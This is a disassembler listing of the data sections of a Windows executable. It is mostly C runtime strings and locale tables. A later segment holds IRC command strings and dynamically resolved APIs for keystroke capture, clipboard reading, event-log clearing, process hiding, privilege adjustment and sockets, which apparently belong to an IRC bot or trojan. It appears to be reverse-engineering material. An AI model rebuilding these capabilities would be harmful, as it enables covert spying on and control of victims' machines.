		unicode	0, <;>,0
asc_43A27C	db '=;',0               ; DATA XREF: seg000:loc_42AD71o
		align 10h
aSetlocal_c	db 'setlocal.c',0       ; DATA XREF: sub_42B080+3Eo
					; sub_42B220+1Bo
		align 4
asc_43A28C:				; DATA XREF: sub_42B220+5Bo
		unicode	0, <=>,0
a___0		db '_.,',0              ; DATA XREF: sub_42B510:loc_42B582o
a__2:					; DATA XREF: sub_42B670+50o
					; sub_431120:loc_43131Bo
		unicode	0, <.>,0
a__3:					; DATA XREF: sub_42B670+25o
		unicode	0, <_>,0
aFtell_c	db 'ftell.c',0          ; DATA XREF: seg000:0042B846o
					; sub_42B8A0+18o
dword_43A2A4	dd 0							; seg000:0042E098o ...
dword_43A2A8	dd 2 dup(0)						; seg000:0042E075o ...
dword_43A2B0	dd 0FFFFFFFFh, 42BC86h,	42BC8Ch, 0FFFFFFFFh, 42BD7Ch, 42BD82h
					; DATA XREF: seg000:0042BB45o
dword_43A2C8	dd 65647473h, 2E70766Eh, 63h					; sub_42C180+D0o
dword_43A2D4	dd 61647473h, 2E766772h, 63hdword_43A2E0	dd 6E655F61h, 632E76h, 746E7572h, 20656D69h, 6F727265h
					; DATA XREF: sub_42C7E0+E8o
					; sub_42C7E0+1C6o
		dd 2072h, 0A0Dh, 534F4C54h, 72652053h, 0D726F72h, 0Ah
		dd 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg002:off_450604o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVis_0	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_42CB30+1A4o
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_42CB30:loc_42CC7Ao
		db 0Ah
		db 'Program: ',0
		align 4
aWinsig_c	db 'winsig.c',0         ; DATA XREF: seg000:0042D171o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42D5C0+5Fo
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42D5C0:loc_42D60Bo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42D5C0+2Ao
aOsfinfo_c	db 'osfinfo.c',0        ; DATA XREF: sub_42D680+138o
		align 10h
dword_43A600	dd 0FFFFFFFFh, 42E184h,	42E18Ahdword_43A60C	dd 7465675Fh, 2E667562h, 63h					; sub_42E200+48o
dword_43A618	dd 6F74626Dh, 632E6377h, 0aMb_cur_max1Mb_	db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_42EA50+18o
		align 4
aUngetc_c	db 'ungetc.c',0         ; DATA XREF: seg000:0042EBE6o
					; sub_42EC40+16o
		align 4
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTzset_c	db 'tzset.c',0          ; DATA XREF: seg000:0042EFB1o
aTz		db 'TZ',0               ; DATA XREF: seg000:0042EE15o
		align 10h
aInittime_c	db 'inittime.c',0       ; DATA XREF: sub_4307A0+13o
		align 4
aInitnum_c	db 'initnum.c',0        ; DATA XREF: sub_431120+1CFo
					; sub_431120+215o ...
		align 4
aInitmon_c	db 'initmon.c',0        ; DATA XREF: sub_431450+13o
		align 4
aInitctyp_c	db 'initctyp.c',0       ; DATA XREF: seg000:00431902o
					; seg000:0043191Bo ...
		align 10h
aParaguay	db 'Paraguay',0
		align 4
aUruguay	db 'Uruguay',0
aChile		db 'Chile',0            ; DATA XREF: seg002:00450C14o
		align 4
aEcuador	db 'Ecuador',0          ; DATA XREF: seg002:00450BE8o
aArgentina	db 'Argentina',0
		align 10h
aPeru		db 'Peru',0
		align 4
aColombia	db 'Colombia',0         ; DATA XREF: seg002:00450B64o
		align 4
aVenezuela	db 'Venezuela',0
		align 10h
aDominicanRepub	db 'Dominican Republic',0 ; DATA XREF: seg002:00450B0Co
		align 4
aSouthAfrica	db 'South Africa',0
		align 4
aPanama		db 'Panama',0           ; DATA XREF: seg002:00450AB4o
		align 4
aLuxembourg	db 'Luxembourg',0       ; DATA XREF: seg002:00450A88o
		align 4
aCostaRica	db 'Costa Rica',0       ; DATA XREF: seg002:00450A5Co
		align 4
aSwitzerland	db 'Switzerland',0
aGuatemala	db 'Guatemala',0        ; DATA XREF: seg002:00450A04o
		align 4
aCanada		db 'Canada',0           ; DATA XREF: seg002:004509D8o
		align 4
aSpanishModernS	db 'Spanish - Modern Sort',0 ; DATA XREF: seg002:004509A4o
		align 4
aAustralia	db 'Australia',0        ; DATA XREF: seg002:00450980o
		align 4
aEnglish	db 'English',0          ; DATA XREF: seg002:00450978o
					; seg002:00450AD8o
aAustria	db 'Austria',0          ; DATA XREF: seg002:00450954o
aGerman		db 'German',0           ; DATA XREF: seg002:0045094Co
		align 10h
aBelgium	db 'Belgium',0          ; DATA XREF: seg002:00450928o
aMexico		db 'Mexico',0           ; DATA XREF: seg002:004508FCo
		align 10h
aSpanish	db 'Spanish',0          ; DATA XREF: seg002:004508F4o
					; seg002:004509FCo ...
aBasque		db 'Basque',0           ; DATA XREF: seg002:004508C8o
		align 10h
aSweden		db 'Sweden',0           ; DATA XREF: seg002:004508A4o
		align 4
aSwedish	db 'Swedish',0          ; DATA XREF: seg002:0045089Co
aIceland	db 'Iceland',0          ; DATA XREF: seg002:00450878o
aIcelandic	db 'Icelandic',0        ; DATA XREF: seg002:00450870o
		align 4
aFrance		db 'France',0           ; DATA XREF: seg002:0045084Co
		align 4
aFrench		db 'French',0           ; DATA XREF: seg002:00450844o
					; seg002:00450920o ...
		align 4
aFinland	db 'Finland',0          ; DATA XREF: seg002:00450820o
aFinnish	db 'Finnish',0          ; DATA XREF: seg002:00450818o
aSpain		db 'Spain',0            ; DATA XREF: seg002:off_4507F4o
					; seg002:004508D0o ...
		align 4
aSpanishTraditi	db 'Spanish - Traditional Sort',0 ; DATA XREF: seg002:off_4507ECo
		align 4
aUnitedStates	db 'united-states',0
		align 4
aUnitedKingdom	db 'united-kingdom',0
		align 4
aTrinidadTobago	db 'trinidad & tobago',0
		align 4
aSouthKorea	db 'south-korea',0
aSouthAfrica_0	db 'south-africa',0
		align 4
aSouthKorea_0	db 'south korea',0
aSouthAfrica_1	db 'south africa',0
		align 4
aSlovak		db 'slovak',0
		align 4
aPuertoRico	db 'puerto-rico',0
aPrChina	db 'pr-china',0
		align 4
aPrChina_0	db 'pr china',0
		align 10h
aNz		db 'nz',0
		align 4
aNewZealand	db 'new-zealand',0
aHongKong	db 'hong-kong',0
		align 4
aHolland	db 'holland',0
aGreatBritain	db 'great britain',0
		align 4
aEngland	db 'england',0
aCzech		db 'czech',0
		align 4
aChina		db 'china',0
		align 4
aBritain	db 'britain',0          ; DATA XREF: seg002:00450CA0o
aAmerica	db 'america',0          ; DATA XREF: seg002:off_450C98o
aUsa_0		db 'usa',0
aUs		db 'us',0
		align 4
aUk		db 'uk',0
		align 4
aSwiss		db 'swiss',0
		align 10h
aSwedishFinland	db 'swedish-finland',0
aSpanishVenezue	db 'spanish-venezuela',0
		align 4
aSpanishUruguay	db 'spanish-uruguay',0
aSpanishPuertoR	db 'spanish-puerto rico',0
aSpanishPeru	db 'spanish-peru',0
		align 4
aSpanishParagua	db 'spanish-paraguay',0
		align 4
aSpanishPanama	db 'spanish-panama',0
		align 4
aSpanishNicarag	db 'spanish-nicaragua',0
		align 10h
aSpanishModern	db 'spanish-modern',0
		align 10h
aSpanishMexican	db 'spanish-mexican',0
aSpanishHondura	db 'spanish-honduras',0
		align 4
aSpanishGuatema	db 'spanish-guatemala',0
		align 4
aSpanishElSalva	db 'spanish-el salvador',0
aSpanishEcuador	db 'spanish-ecuador',0
aSpanishDominic	db 'spanish-dominican republic',0
		align 4
aSpanishCostaRi	db 'spanish-costa rica',0
		align 4
aSpanishColombi	db 'spanish-colombia',0
		align 10h
aSpanishChile	db 'spanish-chile',0
		align 10h
aSpanishBolivia	db 'spanish-bolivia',0
aSpanishArgenti	db 'spanish-argentina',0
		align 4
aPortugueseBraz	db 'portuguese-brazilian',0
		align 4
aNorwegianNynor	db 'norwegian-nynorsk',0
		align 10h
aNorwegianBokma	db 'norwegian-bokmal',0
		align 4
aNorwegian	db 'norwegian',0
		align 10h
aItalianSwiss	db 'italian-swiss',0
		align 10h
aIrishEnglish	db 'irish-english',0
		align 10h
aGermanSwiss	db 'german-swiss',0
		align 10h
aGermanLuxembou	db 'german-luxembourg',0
		align 4
aGermanLichtens	db 'german-lichtenstein',0
aGermanAustrian	db 'german-austrian',0
aFrenchSwiss	db 'french-swiss',0
		align 4
aFrenchLuxembou	db 'french-luxembourg',0
		align 4
aFrenchCanadian	db 'french-canadian',0
aFrenchBelgian	db 'french-belgian',0
		align 4
aEnglishUsa	db 'english-usa',0
aEnglishUs	db 'english-us',0
		align 4
aEnglishUk	db 'english-uk',0
		align 10h
aEnglishTrinida	db 'english-trinidad y tobago',0
		align 4
aEnglishSouthAf	db 'english-south africa',0
		align 4
aEnglishNz	db 'english-nz',0
		align 10h
aEnglishJamaica	db 'english-jamaica',0
aEnglishIre	db 'english-ire',0
aEnglishCaribbe	db 'english-caribbean',0
		align 10h
aEnglishCan	db 'english-can',0
aEnglishBelize	db 'english-belize',0
		align 4
aEnglishAus	db 'english-aus',0
aEnglishAmerica	db 'english-american',0
		align 4
aDutchBelgian	db 'dutch-belgian',0
		align 4
aChineseTraditi	db 'chinese-traditional',0
aChineseSingapo	db 'chinese-singapore',0
		align 4
aChineseSimplif	db 'chinese-simplified',0
		align 4
aChineseHongkon	db 'chinese-hongkong',0
		align 4
aChinese	db 'chinese',0
aChi		db 'chi',0
aChh		db 'chh',0
aCanadian	db 'canadian',0
		align 4
aBelgian	db 'belgian',0
aAustralian	db 'australian',0
		align 4
aAmericanEnglis	db 'american-english',0
		align 10h
aAmericanEngl_0	db 'american english',0
		align 4
aAmerican	db 'american',0         ; DATA XREF: seg002:off_450D50o
		align 10h
off_43AD50	dd offset byte_50434F	; DATA XREF: sub_432630:loc_432683o
off_43AD54	dd offset byte_504341	; DATA XREF: sub_432630+16o
dword_43AD58	dd 69736863h, 632E657Ah, 0dword_43AD64	dd 657A6973h, 203D3E20h, 30hdword_43AD70	dd 4E512331h, 4E41hdword_43AD78	dd 4E492331h, 46hdword_43AD80	dd 4E492331h, 44hdword_43AD88	dd 4E532331h, 4E41h, 6D6D3A48h,	73733Ah, 64646464h, 4D4D202Ch
					; DATA XREF: sub_433EA0+125o
					; seg002:00451008o
		dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h
		dd 4D41h, 65636544h, 7265626Dh,	0
aNovember	db 'November',0         ; DATA XREF: seg002:00450FF0o
		align 4
aOctober	db 'October',0          ; DATA XREF: seg002:00450FECo
aSeptember	db 'September',0        ; DATA XREF: seg002:00450FE8o
		align 4
aAugust		db 'August',0           ; DATA XREF: seg002:00450FE4o
		align 10h
aJuly		db 'July',0             ; DATA XREF: seg002:00450FE0o
		align 4
aJune		db 'June',0             ; DATA XREF: seg002:00450FDCo
		align 10h
aApril		db 'April',0            ; DATA XREF: seg002:00450FD4o
		align 4
aMarch		db 'March',0            ; DATA XREF: seg002:00450FD0o
		align 10h
aFebruary	db 'February',0         ; DATA XREF: seg002:00450FCCo
		align 4
aJanuary	db 'January',0          ; DATA XREF: seg002:00450FC8o
aDec		db 'Dec',0              ; DATA XREF: seg002:00450FC4o
aNov		db 'Nov',0              ; DATA XREF: seg002:00450FC0o
aOct		db 'Oct',0              ; DATA XREF: seg002:00450FBCo
aSep		db 'Sep',0              ; DATA XREF: seg002:00450FB8o
aAug		db 'Aug',0              ; DATA XREF: seg002:00450FB4o
aJul		db 'Jul',0              ; DATA XREF: seg002:00450FB0o
aJun		db 'Jun',0              ; DATA XREF: seg002:00450FACo
aMay		db 'May',0              ; DATA XREF: seg002:00450FA8o
					; seg002:00450FD8o
aApr		db 'Apr',0              ; DATA XREF: seg002:00450FA4o
aMar		db 'Mar',0              ; DATA XREF: seg002:00450FA0o
aFeb		db 'Feb',0              ; DATA XREF: seg002:00450F9Co
aJan		db 'Jan',0              ; DATA XREF: seg002:00450F98o
aSaturday	db 'Saturday',0         ; DATA XREF: seg002:00450F94o
		align 10h
aFriday		db 'Friday',0           ; DATA XREF: seg002:00450F90o
		align 4
aThursday	db 'Thursday',0         ; DATA XREF: seg002:00450F8Co
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: seg002:00450F88o
		align 10h
aTuesday	db 'Tuesday',0          ; DATA XREF: seg002:00450F84o
aMonday		db 'Monday',0           ; DATA XREF: seg002:00450F80o
		align 10h
aSunday		db 'Sunday',0           ; DATA XREF: seg002:00450F7Co
		align 4
aSat		db 'Sat',0              ; DATA XREF: seg002:00450F78o
aFri		db 'Fri',0              ; DATA XREF: seg002:00450F74o
aThu		db 'Thu',0              ; DATA XREF: seg002:00450F70o
aWed		db 'Wed',0              ; DATA XREF: seg002:00450F6Co
aTue		db 'Tue',0              ; DATA XREF: seg002:00450F68o
aMon		db 'Mon',0              ; DATA XREF: seg002:00450F64o
aSun		db 'Sun',0              ; DATA XREF: seg002:off_450F60o
aAP		db 'a/p',0              ; DATA XREF: sub_435310:loc_435503o
aAmPm		db 'am/pm',0            ; DATA XREF: sub_435310:loc_4354E3o
		align 10h
aInithelp_c	db 'inithelp.c',0       ; DATA XREF: sub_435830+9Co
					; sub_435830+F1o
		align 10h
dword_43AED0	dd 0FFFFFFFFh, 435BF7h,	435BFDh, 0FFFFFFFFh, 435C76h, 435C7Ch
					; DATA XREF: seg000:00435AD5o
dword_43AEE8	dd 6D6F7477h, 766E6562h, 632Eh,	0dword_43AEF8	dd 0FFFFFFFFh, 43677Dh,	436783h, 0dword_43AF08	dd 0FFFFFFFFh, 43691Fh,	436925hdword_43AF14	dd 6D635F61h, 632E70haCchcount10Cchc	db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
					; DATA XREF: sub_4369D0:loc_436B43o
		align 10h
dword_43AF60	dd 0FFFFFFFFh, 436CAFh,	436CB5h, 0FFFFFFFFh, 436D4Dh, 436D53h
					; DATA XREF: sub_4369D0+5o
dword_43AF78	dd 65746573h, 632E766Eh, 0					; sub_436E20+F2o ...
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_437360+1Fo
		dd offset dword_43B078
off_43AF98	dd offset sub_4374E0	; DATA XREF: sub_4373C0+44o
					; sub_437480+1Fo ...
		dd offset sub_437430
		dd offset sub_437450
		dd offset dword_43B0C8
off_43AFA8	dd offset sub_437600	; DATA XREF: sub_437510+16o
					; sub_4375B0+Ao ...
		dd offset sub_437430
		dd offset sub_4375D0
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_437660+1Fo
		dd offset dword_43B118
off_43AFD0	dd offset sub_437740	; DATA XREF: sub_4376C0+16o
					; sub_4376F0+Ao ...
		dd offset sub_437430
		dd offset sub_437710
		dd offset dword_43B148
off_43AFE0	dd offset sub_437C40	; DATA XREF: seg000:00437C1Ao
					; sub_437C70+Co ...
		dd offset sub_437DE0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_437DE0:loc_437DF8o
		align 4
		dd offset dword_43B190
off_43B000	dd offset sub_437E50	; DATA XREF: sub_437E10+Ao
					; seg000:00437F3Ao ...
		align 8
dword_43B008	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_43B028	dd offset off_451310	; DATA XREF: seg001:0043B05Co
					; seg001:0043B0B0o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_43B040	dd offset off_451328	; DATA XREF: seg001:0043B058o
					; seg001:0043B0ACo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43B040
		dd offset off_43B028
dword_43B060	dd 4 dup(0)			dd 2, 43B058h
dword_43B078	dd 3 dup(0)			dd offset off_451328
		dd offset dword_43B060+8
		align 10h
off_43B090	dd offset off_451348	; DATA XREF: seg001:0043B0A8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43B090
		dd offset off_43B040
		dd offset off_43B028
		dd 0
		db    0			; DATA XREF: seg001:0043B0D8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 43B0A8h
dword_43B0C8	dd 3 dup(0)			dd offset off_451348
		dd offset unk_43B0B8
		align 10h
off_43B0E0	dd offset off_451368	; DATA XREF: seg001:0043B0F8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43B0E0
		dd offset off_43B040
		dd offset off_43B028
		dd 0
		db    0			; DATA XREF: seg001:0043B128o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 43B0F8h
dword_43B118	dd 3 dup(0)			dd offset off_451368
		dd offset unk_43B108
		dd offset off_43B028
dword_43B130	dd 4 dup(0)			dd 1, 43B12Ch
dword_43B148	dd 3 dup(0)			dd offset off_451310
		dd offset dword_43B130+8
		align 10h
off_43B160	dd offset off_451388	; DATA XREF: seg001:0043B178o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43B160
dword_43B17C	dd 3 dup(0)			dd 1, 43B178h
dword_43B190	dd 3 dup(0)			dd offset off_451388
		dd offset dword_43B17C+4
		align 8
dword_43B1A8	dd 19930520h, 2, 43B1C8h, 5 dup(0)		dd 0FFFFFFFFh, 437FB8h,	0
		dd offset sub_437FB0
dword_43B1D8	dd 19930520h, 2, 43B1F8h, 5 dup(0)		dd 0FFFFFFFFh, 437FD9h,	0
		dd offset loc_437FE1
dword_43B208	dd 19930520h, 2, 43B228h, 1, 43B238h, 3	dup(0)
					; DATA XREF: seg000:loc_437FF4o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43B250h, 4	dup(0)
		dd offset loc_40D8FF
		dd 0
		dd offset off_451310
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	437CE0h, 2 dup(0)
		dd offset off_451328
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4373C0h, 2 dup(0)
		dd offset off_451348
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437630h, 0
dword_43B2C0	dd 3, 43B2A0h, 43B280h,	43B260hdword_43B2D0	dd 0							; sub_4375D0+15o
		dd offset sub_4375B0
		dd 0
		dd offset dword_43B2C0
dword_43B2E0	dd 19930520h, 1, 43B300h, 5 dup(0)		dd 0FFFFFFFFh, 438000h
dword_43B308	dd 19930520h, 1, 43B328h, 5 dup(0)dword_43B328	dd 0FFFFFFFFh, 438020h,	2, 43B280h, 43B260h, 0dword_43B340	dd 0				dd offset sub_437480
		dd 0
		dd offset dword_43B328+8
dword_43B350	dd 19930520h, 1, 43B370h, 5 dup(0)		dd 0FFFFFFFFh, 438040h
dword_43B378	dd 19930520h, 1, 43B398h, 5 dup(0)		dd 0FFFFFFFFh, 438060h,	0
		dd offset off_451368
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437770h, 0
dword_43B3C0	dd 3, 43B3A0h, 43B280h,	43B260hdword_43B3D0	dd 0							; sub_437710+15o
		dd offset sub_4376F0
		dd 0
		dd offset dword_43B3C0
dword_43B3E0	dd 19930520h, 1, 43B400h, 5 dup(0)		dd 0FFFFFFFFh, 438080h,	2FEh dup(0)
seg001		ends

; Section 3. (virtual address 0003C000)
; Virtual size			: 000B5000 ( 741376.)
; Section size in file		: 000B5000 ( 741376.)
; Offset to raw	data for section: 0003C000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 43C000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_43C000	dd 0				dd offset loc_408638
		dd offset loc_40D407
		dd offset byte_40F9A3
		dd offset sub_4377A0
dword_43C014	dd 0		dword_43C018	dd 0				dd offset sub_41EF20
		dd offset sub_41FE90
		dd offset sub_4265E0
		dd offset sub_4306B0
dword_43C02C	dd 2 dup(0)			dd offset sub_41F050
		align 10h
		dd offset sub_4306D0
		align 10h
dword_43C050	dd 0EA60h			align 8
dword_43C058	dd 80000002h, 43CD38h, 80000002h, 43CD68h, 80000001h, 43CD38h
					; DATA XREF: start+7o
dword_43C070	dd 6272h						; seg000:004010CEo
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40145D+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40145D+16o
aS		db '%s',0               ; DATA XREF: sub_40145D+3Bo
		align 4
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40145D+58o
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4014F8+Ao
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4014F8+23o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4014F8+2Bo
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4014F8+38o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4014F8+45o
		align 10h
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4014F8+52o
		align 10h
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4014F8+5Fo
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4014F8+6Co
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4014F8+79o
		align 4
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4014F8+86o
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4014F8+93o
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4014F8+A0o
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4014F8:loc_401600o
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4014F8:loc_40162Do
		align 10h
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4014F8+14Ao
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4014F8+152o
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4014F8+15Fo
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4014F8+16Co
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4014F8+179o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4014F8+186o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4014F8+193o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4014F8+1A0o
		align 4
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4014F8:loc_4016F0o
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4014F8+200o
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4014F8+20Do
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4014F8+21Ao
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4014F8:loc_401757o
		align 10h
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4014F8+270o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4014F8+278o
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4014F8+285o
		align 10h
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4014F8+292o
		align 4
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4014F8+29Fo
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4014F8+2ACo
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_4014F8+2B9o
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_4014F8+2C6o
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4014F8:loc_40180Ao
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4014F8+31Ao
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4014F8+327o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4014F8:loc_40184Fo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4014F8+35Fo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4014F8+36Co
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4014F8+379o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4014F8+386o
		align 4
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4014F8+393o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4014F8+3A0o
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4014F8+3ADo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4014F8:loc_4018FDo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4014F8:loc_401925o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4014F8+43Eo
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4014F8+446o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4014F8+453o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4014F8+460o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4014F8+46Do
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4014F8+47Ao
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4014F8+487o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4014F8+494o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4014F8+4A1o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4014F8+514o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4014F8+525o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4014F8+52Do
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4014F8+53Ao
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4014F8+547o
		align 4
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4014F8+554o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4014F8+561o
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4014F8+56Eo
		align 4
aSocket		db 'socket',0           ; DATA XREF: sub_4014F8+57Bo
		align 4
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4014F8+588o
aConnect	db 'connect',0          ; DATA XREF: sub_4014F8+595o
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4014F8+5A2o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4014F8+5AFo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_4014F8+5BCo
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_4014F8+5C9o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4014F8+5D6o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4014F8+5E3o
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_4014F8+5F0o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_4014F8+5FDo
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_4014F8+60Ao
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4014F8+617o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4014F8+629o
		align 4
